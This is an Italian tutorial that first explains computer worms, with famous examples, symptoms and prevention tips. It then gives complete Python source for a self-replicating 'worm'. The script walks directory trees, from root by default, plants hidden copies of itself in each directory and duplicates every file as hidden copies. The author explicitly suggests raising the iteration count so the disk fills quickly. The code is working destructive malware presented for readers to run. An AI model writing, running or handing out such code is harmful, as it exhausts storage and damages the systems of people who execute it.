Cos’è un Worm⌗

Un worm è un programma software dannoso che si replica sfruttando in modo indipendente le vulnerabilità nelle reti. A differenza di un virus, che richiede l’esecuzione di un programma host, i worm possono essere eseguiti da soli. A parte l’infezione iniziale dell’host, non richiedono la partecipazione dell’utente e possono diffondersi molto rapidamente sulla rete, di solito rallentandola.

I worm condividono schemi simili: sfruttano le vulnerabilità del sistema, hanno un modo per propagarsi e contengono tutti codice dannoso (payload) per causare danni ai sistemi o alle reti dei computer. I worm sono responsabili di alcuni degli attacchi più devastanti su Internet. Nel 2001, il worm Code Red aveva infettato oltre 300.000 server in sole 19 ore.

Alcune persone pensano che un worm informatico e un virus informatico siano la stessa cosa perché i due si comportano in modo simile. Potrebbero persino usare termini come “worm computer virus” o “worm virus malware”. La verità è che i due sono minacce comparabili ma diverse.

La differenza fondamentale tra un virus e un worm è che i virus si basano sull’azione umana per l’attivazione e hanno bisogno di un sistema host per replicarsi. In altre parole, un virus non danneggerà il tuo sistema a meno che tu non lo esegua. Ad esempio, un virus su un’unità flash collegata al tuo computer non danneggerà il tuo sistema a meno che tu non lo attivi. E come accennato in precedenza, un worm non ha bisogno di un sistema host o di un’azione dell’utente per diffondersi.

Nel corso degli anni, ci sono stati alcuni vermi particolarmente devastanti. Alcuni vermi hanno causato miliardi di danni. Ecco un breve elenco di alcuni famigerati:

Morris Worm: noto anche come Internet worm, questo è stato uno dei primi worm informatici a diffondersi tramite Internet e guadagnare notorietà nei media.
Bagle: noto anche come Beagle, Mitglieder e Lodeight, questo worm di mailing di massa aveva molte varianti.
Blaster: noto anche come MSBlast, Lovesan e Lovsan, questo worm ha attaccato i computer con Windows XP e Windows 2000.
Conficker: noto anche come Downup, Downadup e Kido, questo worm ha sfruttato i difetti di Windows per infettare milioni di computer in oltre cento paesi.
ILOVEYOU: Il worm ILOVEYOU ha infettato decine di milioni di computer in tutto il mondo, causando danni per miliardi di dollari.
Mydoom: questo è diventato il worm di posta elettronica a più rapida diffusione nel 2004, inviando posta indesiderata attraverso i computer.
Ryuk: Sebbene Ryuk non sia sempre stato un worm, ora è un ransomware simile a un worm.
SQL Slammer: il worm SQL Slammer ha guadagnato fama per aver rallentato il traffico Internet con attacchi denial-of-service su alcuni host Internet.
Storm Worm: questo worm ha utilizzato l’ingegneria sociale con notizie false di una tempesta disastrosa per lanciare botnet su macchine compromesse.
Stuxnet: alcuni esperti ritengono che questo sofisticato worm sia stato sviluppato per anni per lanciare un attacco informatico.

Molti dei sintomi di un worm informatico sono simili a quelli di un virus informatico. Ad esempio, potresti avere un worm se il tuo computer rallenta, si blocca, si blocca o genera messaggi di errore. Potresti anche notare che i file sono mancanti o danneggiati o che lo spazio sul tuo disco rigido si sta rapidamente esaurendo inspiegabilmente. Inoltre, potresti ricevere avvisi dal tuo firewall su una violazione.

Come altre forme di malware, i worm informatici possono essere fermati con il giusto software antivirus e antimalware e pratiche informatiche sicure. Si prega di non intrattenere collegamenti sospetti, e-mail, testi, messaggi, siti Web, reti di file P2P e unità. Inoltre, aggiorna regolarmente il tuo software essenziale per proteggere il tuo computer da vulnerabilità come il difetto di Windows wormable e simili.

Scrivere un worm in Python⌗

Il worm è un tipo di malware che replica se stesso e altri file per consumare spazio nei nostri dischi rigidi. Potresti scoprire che le tue unità o partizioni si riempiono senza alcun motivo visibile e ciò potrebbe accadere a causa di un worm.

Un worm è diverso da un virus informatico in quanto i virus tipici infettano solo i file e i worm replicano i file e tengono i duplicati fuori dalla vista (come file nascosti).

Avremo bisogno di due moduli per scrivere un worm. Qui, os è il modulo più importante e lo utilizzeremo per elencare tutti i file e le directory oltre a recuperare i percorsi assoluti.

shutil è usato per copiare il contenuto del file. Ci sono ovviamente altri modi per farlo, tuttavia, ho scelto di farlo usando il metodo shutil.copyfile().

import os
import shutil

Innanzitutto, creiamo una classe Worm e un metodo di inizializzazione per passare gli argomenti iniziali alla nostra classe creata.

class Worm:
    
    def __init__(self, path=None, target_dir_list=None, iteration=None):
        if isinstance(path, type(None)):
            self.path = "/"
        else:
            self.path = path
            
        if isinstance(target_dir_list, type(None)):
            self.target_dir_list = []
        else:
            self.target_dir_list = target_dir_list
            
        if isinstance(target_dir_list, type(None)):
            self.iteration = 2
        else:
            self.iteration = iteration
        
        # get own absolute path
        self.own_path = os.path.realpath(__file__)

Qui abbiamo tre argomenti:

path: definisce dove iniziare a cercare le directory (l’impostazione predefinita è la directory principale /)
target_dir_list: l’utente può passare un elenco di directory di destinazione iniziali. Per impostazione predefinita è un elenco vuoto []
iteration: Ho usato questo parametro per definire quante istanze creerà il worm per ogni file esistente in una directory (il valore predefinito è 2 solo a scopo di test, puoi aumentare o diminuire il numero, o meglio fornire valur durante la creazione di un oggetto della classe)

Il primo metodo di cui abbiamo bisogno è elencare tutte le directory e le sottodirectory di destinazione in cui vogliamo copiare il nostro worm ei file esistenti nelle directory.

Qui, sto evitando i file nascosti poiché include anche le directory principali (i file nascosti iniziano con il punto . in Linux o macOS). A parte questo, aggiunge un file (le directory sono anche chiamate file nei file system basati su Unix) se si tratta di una directory e lo fa in modo ricorsivo per tutte le sottodirectory.

def list_directories(self,path):
        self.target_dir_list.append(path)
        files_in_current_directory = os.listdir(path)
        
        for file in files_in_current_directory:
            # avoid hidden files/directories (start with dot (.))
            if not file.startswith('.'):
                # get the full path
                absolute_path = os.path.join(path, file)
                print(absolute_path)

                if os.path.isdir(absolute_path):
                    self.list_directories(absolute_path)
                else:
                    pass

Per replicare lo script stesso in tutte le directory di destinazione, otteniamo il percorso assoluto dello script che stiamo eseguendo, quindi copiamo il contenuto nelle directory di destinazione creando un nuovo file nascosto (inizia con un punto .) con lo stesso nome.

def create_new_worm(self):
        for directory in self.target_dir_list:
            destination = os.path.join(directory, ".worm.py")
            # copy the script in the new directory with similar name
            shutil.copyfile(self.own_path, destination)

Il seguente metodo verrà utilizzato per duplicare i file il numero di volte il valore che abbiamo dall’argomento di iterazione. Puoi inserire un numero elevato in modo che il disco rigido si riempia presto.

def copy_existing_files(self):
        for directory in self.target_dir_list:
            file_list_in_dir = os.listdir(directory)
            for file in file_list_in_dir:
                abs_path = os.path.join(directory, file)
                if not abs_path.startswith('.') and not os.path.isdir(abs_path):
                    source = abs_path
                    for i in range(self.iteration):
                        destination = os.path.join(directory,("."+file+str(i)))
                        shutil.copyfile(source, destination)

In questo metodo, chiameremo tutti i nostri metodi precedenti. Quindi, quando chiamiamo questo metodo utilizzando il nostro oggetto creato, il worm avvierà tutte le azioni in sequenza.

def start_worm_actions(self):
        self.list_directories(self.path)
        print(self.target_dir_list)
        self.create_new_worm()
        self.copy_existing_files()

Ora, creiamo la nostra funzione principale ed eseguiamo il codice:

if __name__=="__main__":
    current_directory = os.path.abspath("")
    worm = Worm(path=current_directory)
    worm.start_worm_actions()

Qui, per evitare di riempire il nostro disco, usiamo la directory esistente solo usando os.path.abspath(""), e passiamolo come argomento durante la creazione di un oggetto della classe Worm. Finalmente chiamiamo il metodo di integrazione e siamo a posto.

Ecco il codice completo:

import os
import shutil

class Worm:
    
    def __init__(self, path=None, target_dir_list=None, iteration=None):
        if isinstance(path, type(None)):
            self.path = "/"
        else:
            self.path = path
            
        if isinstance(target_dir_list, type(None)):
            self.target_dir_list = []
        else:
            self.target_dir_list = target_dir_list
            
        if isinstance(target_dir_list, type(None)):
            self.iteration = 2
        else:
            self.iteration = iteration
        
        # get own absolute path
        self.own_path = os.path.realpath(__file__)
        
        
    def list_directories(self,path):
        self.target_dir_list.append(path)
        files_in_current_directory = os.listdir(path)
        
        for file in files_in_current_directory:
            # avoid hidden files/directories (start with dot (.))
            if not file.startswith('.'):
                # get the full path
                absolute_path = os.path.join(path, file)
                print(absolute_path)

                if os.path.isdir(absolute_path):
                    self.list_directories(absolute_path)
                else:
                    pass
    
    
    def create_new_worm(self):
        for directory in self.target_dir_list:
            destination = os.path.join(directory, ".worm.py")
            # copy the script in the new directory with similar name
            shutil.copyfile(self.own_path, destination)
            
    
    def copy_existing_files(self):
        for directory in self.target_dir_list:
            file_list_in_dir = os.listdir(directory)
            for file in file_list_in_dir:
                abs_path = os.path.join(directory, file)
                if not abs_path.startswith('.') and not os.path.isdir(abs_path):
                    source = abs_path
                    for i in range(self.iteration):
                        destination = os.path.join(directory,("."+file+str(i)))
                        shutil.copyfile(source, destination)
                        
                        
    def start_worm_actions(self):
        self.list_directories(self.path)
        print(self.target_dir_list)
        self.create_new_worm()
        self.copy_existing_files()
        
        
                        
if __name__=="__main__":
    current_directory = os.path.abspath("")
    worm = Worm(path=current_directory)
    worm.start_worm_actions()

Vediamo un esempio pratico, abbiamo creato questa struttura di file di testo e sottocartelle di prova:

Eseguiamo il worm 2 volte con il comando:

python3 worm.py

Ecco il risultato:

Scrivere un Worm in Python

Table of Contents

Cos’è un Worm⌗

Scrivere un worm in Python⌗